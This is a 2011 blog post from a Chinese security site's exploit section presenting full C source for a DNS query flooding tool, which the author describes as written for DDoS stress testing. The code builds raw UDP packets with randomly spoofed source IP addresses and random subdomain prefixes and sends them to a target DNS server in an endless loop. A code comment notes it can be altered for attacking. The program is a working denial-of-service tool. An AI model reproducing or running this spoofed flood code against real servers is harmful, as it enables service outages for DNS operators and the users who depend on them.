首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
DNS Query发包工具
来源:wustyunshu@hotmail.com 作者:yunshu 发布时间:2011-07-18  
好久没写博客,要荒废啦。这到不完全是我懒,主要是因为我现在做的一些事情,写出来不好玩。不过最近做ddos review,弄的一个dns query
的发包工具到略有点意思,发出来给大家看看。本来是想在网上找工具的,没有找到被迫自力更生。因为是为压力测试而写,所以并不适合用来做
攻击。说起dns协议,那叫一个纠结啊,所以代码写得很脏,无数的memcpy。这么设计协议唯一的好处是dns server解包会容易一点,要么dns
rfc的作者就是第一个dns server的作者,要么,他们是一对好基友。

  1. // code by yunshu(wustyunshu@hotmail.com, 2011-07-11. just for test, have fun.
  2. // you should change some codes for attacking.
  3.  
  4. #include <stdio.h>
  5. #include <netinet/in.h>
  6. #include <netdb.h>
  7. #include <sys/time.h>
  8. #include <sys/types.h>
  9. #include <unistd.h>
  10. #include <stdlib.h>
  11. #include <signal.h>
  12. #include <pthread.h>
  13. #include <errno.h>
  14.  
  15. typedef struct ip_hdr
  16. {
  17. unsigned char     h_verlen;
  18. unsigned char     tos;
  19. unsigned short    total_len;
  20. unsigned short    ident;
  21. unsigned short    frag_and_flags;
  22. unsigned char     ttl;
  23. unsigned char     proto;
  24. unsigned short    checksum;
  25. unsigned int      sourceIP;
  26. unsigned int      destIP;
  27. }IP_HEADER;
  28.  
  29. typedef struct udp_hdr
  30. {
  31. unsigned short    uh_sport;
  32. unsigned short    uh_dport;
  33. unsigned short    uh_length;
  34. unsigned short    uh_checksum;
  35. }UDP_HEADER;
  36.  
  37. typedef struct usd_hdr
  38. {
  39. unsigned long       saddr;
  40. unsigned long       daddr;
  41. char                mbz;
  42. char                ptcl;
  43. unsigned short      udpl;
  44. }USD_HEADER;
  45.  
  46. typedef struct dns
  47. {
  48. unsigned short    tid;
  49. unsigned short    flags;
  50. unsigned short    queries;
  51. unsigned short    answers;
  52. unsigned short    auth;
  53. unsigned short    additional;
  54. }DNS_HEADER;
  55.  
  56. typedef struct query
  57. {
  58. char *    name;
  59. unsigned short    type;
  60. unsigned short    class;
  61. }QUERY_HEADER;
  62.  
  63. int const HOST_LENGTH = 3;
  64. unsigned long long sleeptime, starttime, outcount = 0;
  65. int pkt_then_sleep = 0;
  66.  
  67. unsigned short CheckSum(unsigned short * buffer, int size)
  68. {
  69. unsigned long   cksum = 0;
  70.  
  71. while (size > 1)
  72. {
  73. cksum += *buffer++;
  74. size -= sizeof(unsigned short);
  75. }
  76. if (size)
  77. {
  78. cksum += *(unsigned char *) buffer;
  79. }
  80. cksum = (cksum >> 16) + (cksum & 0xffff);
  81. cksum += (cksum >> 16);
  82.  
  83. return (unsigned short) (~cksum);
  84. }
  85.  
  86. void MySleep(unsigned int micro_second)
  87. {
  88. struct timeval  t_timeval;
  89.  
  90. t_timeval.tv_sec = 0;
  91. t_timeval.tv_usec = micro_second;
  92.  
  93. select( 0, NULL, NULL, NULL, &t_timeval );
  94. }
  95.  
  96. void PaddingQuery( char *buffer, char *base_name )
  97. {
  98. char *tmp = (char *)malloc(strlen(base_name)+HOST_LENGTH+1);
  99. if( NULL == tmp )
  100. {
  101. fprintf( stderr, "malloc for query error: %s\n", strerror(errno) );
  102. exit -1;
  103. }
  104. memset( tmp, 0, strlen(base_name)+HOST_LENGTH+1 );
  105. sprintf( tmp, "%c%c%c%s", rand()%25+97, rand()%25+97, rand()%25+97, base_name );
  106.  
  107. int length_pos = 0;
  108. int loop_num = 1;
  109.  
  110. char *token = strtok( tmp, "." );
  111. while( NULL != token )
  112. {
  113. if( loop_num == 1 )
  114. {
  115. length_pos = 0;
  116. memset( buffer, strlen(token), 1 );
  117. strcpy( buffer+length_pos+1, token );
  118.  
  119. length_pos = length_pos + strlen(token) + 1;
  120. }
  121. else
  122. {
  123. memset( buffer+length_pos, strlen(token), 1 );
  124. strcpy( buffer+length_pos+1, token );
  125.  
  126. length_pos = length_pos + strlen(token) + 1;
  127. }
  128.  
  129. token = strtok( NULL, "." );
  130. loop_num ++;
  131. }
  132. free(tmp);
  133. }
  134.  
  135. void Init( char *buffer, int buffer_size, char *ip, char *base_name )
  136. {
  137. IP_HEADER   IpHeader;
  138. UDP_HEADER  UdpHeader;
  139. USD_HEADER  UsdHeader;
  140. DNS_HEADER  DnsHeader;
  141. QUERY_HEADER    QueryHeader;
  142.  
  143. // whole udp packet except ip header and usd_header
  144. int total_packet_len = buffer_size;
  145.  
  146. // udp packet with usd_header
  147. int udp_with_usd_len = total_packet_len - sizeof(IP_HEADER) + sizeof(USD_HEADER);
  148.  
  149. char *udp_packet = (char *)malloc( udp_with_usd_len );
  150. if( NULL == udp_packet )
  151. {
  152. fprintf( stderr, "malloc udp packet error: %s\n", strerror(errno) );
  153. exit;
  154. }
  155. memset( udp_packet, 0, udp_with_usd_len );
  156.  
  157. IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned int));
  158. IpHeader.tos = 0;
  159. IpHeader.total_len = htons( total_packet_len );
  160. IpHeader.ident = rand() % 30000 + 9876;
  161. IpHeader.frag_and_flags = 0x0000;
  162. IpHeader.ttl = 255;
  163. IpHeader.proto = IPPROTO_UDP;
  164. IpHeader.checksum = 0x0000;
  165. // 1.1.1.1 ----------- 250.250.250.250
  166. IpHeader.sourceIP = htonl(rand( ) % 4193909242 + 16843009);
  167. //IpHeader.sourceIP = inet_addr("10.23.230.110");
  168. IpHeader.destIP = inet_addr(ip);
  169.  
  170. UdpHeader.uh_sport = htons( rand() % 8000 + 2345 );
  171. UdpHeader.uh_dport = htons(53);
  172. UdpHeader.uh_length = htons( total_packet_len - sizeof(IP_HEADER) );
  173. UdpHeader.uh_checksum = 0x0000;
  174.  
  175. UsdHeader.saddr = IpHeader.sourceIP;
  176. UsdHeader.daddr = IpHeader.destIP;
  177. UsdHeader.mbz = 0x00;
  178. UsdHeader.ptcl = IPPROTO_UDP;
  179. UsdHeader.udpl = UdpHeader.uh_length;
  180.  
  181. DnsHeader.tid = rand() % 40000 + 12345;
  182. DnsHeader.flags = 0x0001;
  183. DnsHeader.queries = 0x0100;
  184. DnsHeader.answers = 0x0000;
  185. DnsHeader.auth = 0x0000;
  186. DnsHeader.additional = 0x0000;
  187.  
  188. QueryHeader.type = 0x0100;
  189. QueryHeader.class = 0x0100;
  190.  
  191. memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) );
  192. IpHeader.checksum = CheckSum( (unsigned short *) buffer, sizeof(IpHeader) );
  193. memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) );
  194.  
  195. memcpy( udp_packet, (void*)&UsdHeader, sizeof(UsdHeader) );
  196.  
  197. memcpy( udp_packet+sizeof(UsdHeader), &UdpHeader, sizeof(UdpHeader) );
  198.  
  199. memcpy( udp_packet+sizeof(UsdHeader)+sizeof(UdpHeader), &DnsHeader, sizeof(DnsHeader) );
  200.  
  201. PaddingQuery( udp_packet+sizeof(UsdHeader)+sizeof(UdpHeader)+sizeof(DnsHeader), base_name );
  202.  
  203. memcpy( udp_packet+sizeof(UsdHeader)+sizeof(UdpHeader)+sizeof(DnsHeader)+1+HOST_LENGTH+strlen(base_name)+1, ((char*)&QueryHeader)+sizeof(char *), sizeof(QueryHeader)-sizeof(char*) );
  204.  
  205. UdpHeader.uh_checksum = CheckSum( (unsigned short *)udp_packet, udp_with_usd_len );
  206. memcpy( udp_packet+sizeof(UsdHeader), &UdpHeader, sizeof(UdpHeader) );
  207.  
  208. memcpy( buffer+sizeof(IpHeader), udp_packet+sizeof(UsdHeader), udp_with_usd_len - sizeof(USD_HEADER) );
  209.  
  210. free( udp_packet );
  211. }
  212.  
  213. void Flood( char *dst_ip, char *base_name )
  214. {
  215. int sock;
  216. int flag = 1;
  217.  
  218. // sizeof(char *) means the length of "name" field in the query header.
  219. // 2 means, 0x00 and the length of host, 0x03www0x06google0x03com0x00, fuck dns protocol
  220. int total_packet_len = sizeof(IP_HEADER) + sizeof(UDP_HEADER) + sizeof(DNS_HEADER) + sizeof(QUERY_HEADER) + strlen(base_name) + HOST_LENGTH + 2 - sizeof(char *);
  221.  
  222. char *buffer = (char *)malloc( total_packet_len );
  223. if( NULL == buffer )
  224. {
  225. fprintf( stderr, "malloc memory for packet error.\n" );
  226. return;
  227. }
  228.  
  229. struct sockaddr_in  sa;
  230. memset( &sa, 0, sizeof(struct sockaddr_in) );
  231. sa.sin_family = AF_INET;
  232. sa.sin_port = htons(53);
  233. sa.sin_addr.s_addr = inet_addr(dst_ip);
  234.  
  235. if( (sock = socket(PF_INET, SOCK_RAW, IPPROTO_UDP))  < 0 )
  236. {
  237. fprintf( stderr, "create socket error: %s\n", strerror(errno) );
  238. free(buffer);
  239. return;
  240. }
  241.  
  242. if( setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (int *)&flag, sizeof(flag)) < 0 )
  243. {
  244. fprintf( stderr, "setsockopt error: %s\n", strerror(errno) );
  245. free(buffer);
  246. return;
  247. }
  248.  
  249. int number = 0;
  250. if( sleeptime == 0 )
  251. {
  252. while( 1 )
  253. {
  254. memset( (void *)buffer, 0, sizeof(buffer) );
  255. Init( buffer, total_packet_len, dst_ip, base_name );
  256.  
  257. sendto( sock, buffer, total_packet_len, 0, (struct sockaddr *)&sa, sizeof(struct sockaddr_in) );
  258. outcount ++;
  259. }
  260. }
  261.  
  262. else
  263. {
  264. while( 1 )
  265. {
  266. memset( (void*)buffer, 0, sizeof buffer );
  267. Init( buffer, total_packet_len, dst_ip, base_name );
  268.  
  269. sendto( sock, buffer, total_packet_len, 0, (struct sockaddr *)&sa, sizeof(struct sockaddr_in) );
  270. outcount ++;
  271. number ++;
  272.  
  273. if( number == pkt_then_sleep )
  274. {
  275. MySleep( sleeptime );
  276. number = 0;
  277. }
  278. }
  279. }
  280.  
  281. free( buffer );
  282. return;
  283. }
  284.  
  285. void sig_proc(int signum)
  286. {
  287. int end_time = 0;
  288.  
  289. end_time=time(NULL);
  290.  
  291. printf("\n -- statistics( %d ) -----------------------\n", signum);
  292. printf("   packets sent:          %d\n",outcount);
  293. printf("   seconds active:        %d\n",end_time - starttime);
  294. printf("   average packet/second: %d\n",outcount/(end_time - starttime));
  295. printf(" -------------------------------------\n");
  296.  
  297. exit(1);
  298. }
  299.  
  300. void set_sig( )
  301. {
  302. signal(SIGHUP,&sig_proc);
  303. signal(SIGINT,&sig_proc);
  304. signal(SIGQUIT,&sig_proc);
  305. signal(SIGILL,&sig_proc);
  306. signal(SIGABRT,&sig_proc);
  307. signal(SIGFPE,&sig_proc);
  308. signal(SIGSEGV,&sig_proc);
  309. signal(SIGPIPE,&sig_proc);
  310. signal(SIGALRM,&sig_proc);
  311. signal(SIGTERM,&sig_proc);
  312. signal(SIGUSR1,&sig_proc);
  313. signal(SIGUSR2,&sig_proc);
  314. signal(SIGCHLD,&sig_proc);
  315. signal(SIGCONT,&sig_proc);
  316. signal(SIGTSTP,&sig_proc);
  317. signal(SIGTTIN,&sig_proc);
  318. signal(SIGTTOU,&sig_proc);
  319. }
  320.  
  321. int main(int argc,char *argv[])
  322. {
  323. char    dst_ip[20] = { 0 };
  324. char    base_name[65] = { 0 };
  325.  
  326. if( argc != 5 )
  327. {
  328. fprintf(stderr,"\n%s <target ip> <base_name> <pkt_then_sleep> <sleep_time>\n", argv[0]);
  329. fprintf(stderr, "send dns query to <target ip>, sleep <sleep_time> microseconds per <pkt_then_sleep> paskets.\nplease set base_name like '.baidu.com'\n\n");
  330. return -1;
  331. }
  332.  
  333. strncpy( dst_ip, argv[1], 16 );
  334. strncpy( base_name,  argv[2], 64 );
  335.  
  336. if( inet_addr(dst_ip) == INADDR_NONE )
  337. {
  338. printf( "target ip error.\n" );
  339. return -1;
  340. }
  341.  
  342. pkt_then_sleep = atoi(argv[3]);
  343. if( pkt_then_sleep == 0 )
  344. {
  345. printf( "pkt_then_sleep error.\n" );
  346. return -1;
  347. }
  348.  
  349. sleeptime = atoi(argv[4]);
  350.  
  351. starttime = time(NULL);
  352. while(time(NULL) == starttime) usleep(1000);
  353.  
  354. srand((unsigned) time(NULL));
  355.  
  356. set_sig( );
  357. Flood( dst_ip, base_name );
  358.  
  359. return 0;
  360. }
  361.  

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·FreeFloat FTP Server 1.00 MKD
·HP OpenView Network Node Manag
·HP OpenView Network Node Manag
·Freefloat FTP Server MKD Buffe
·Java RMI Server Insecure Defau
·Iconics GENESIS32 Integer over
·Open Slaed CMS v1.2 Remote Arb
·GDI+ CreateDashedPath Integer
·win32/PerfectXp-pc1/sp3 (Tr) A
·phpMyAdmin3 remote code execut
·FreeFloat FTP Server REST Buff
·Solar FTP 2.1.1 PASV Buffer Ov
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved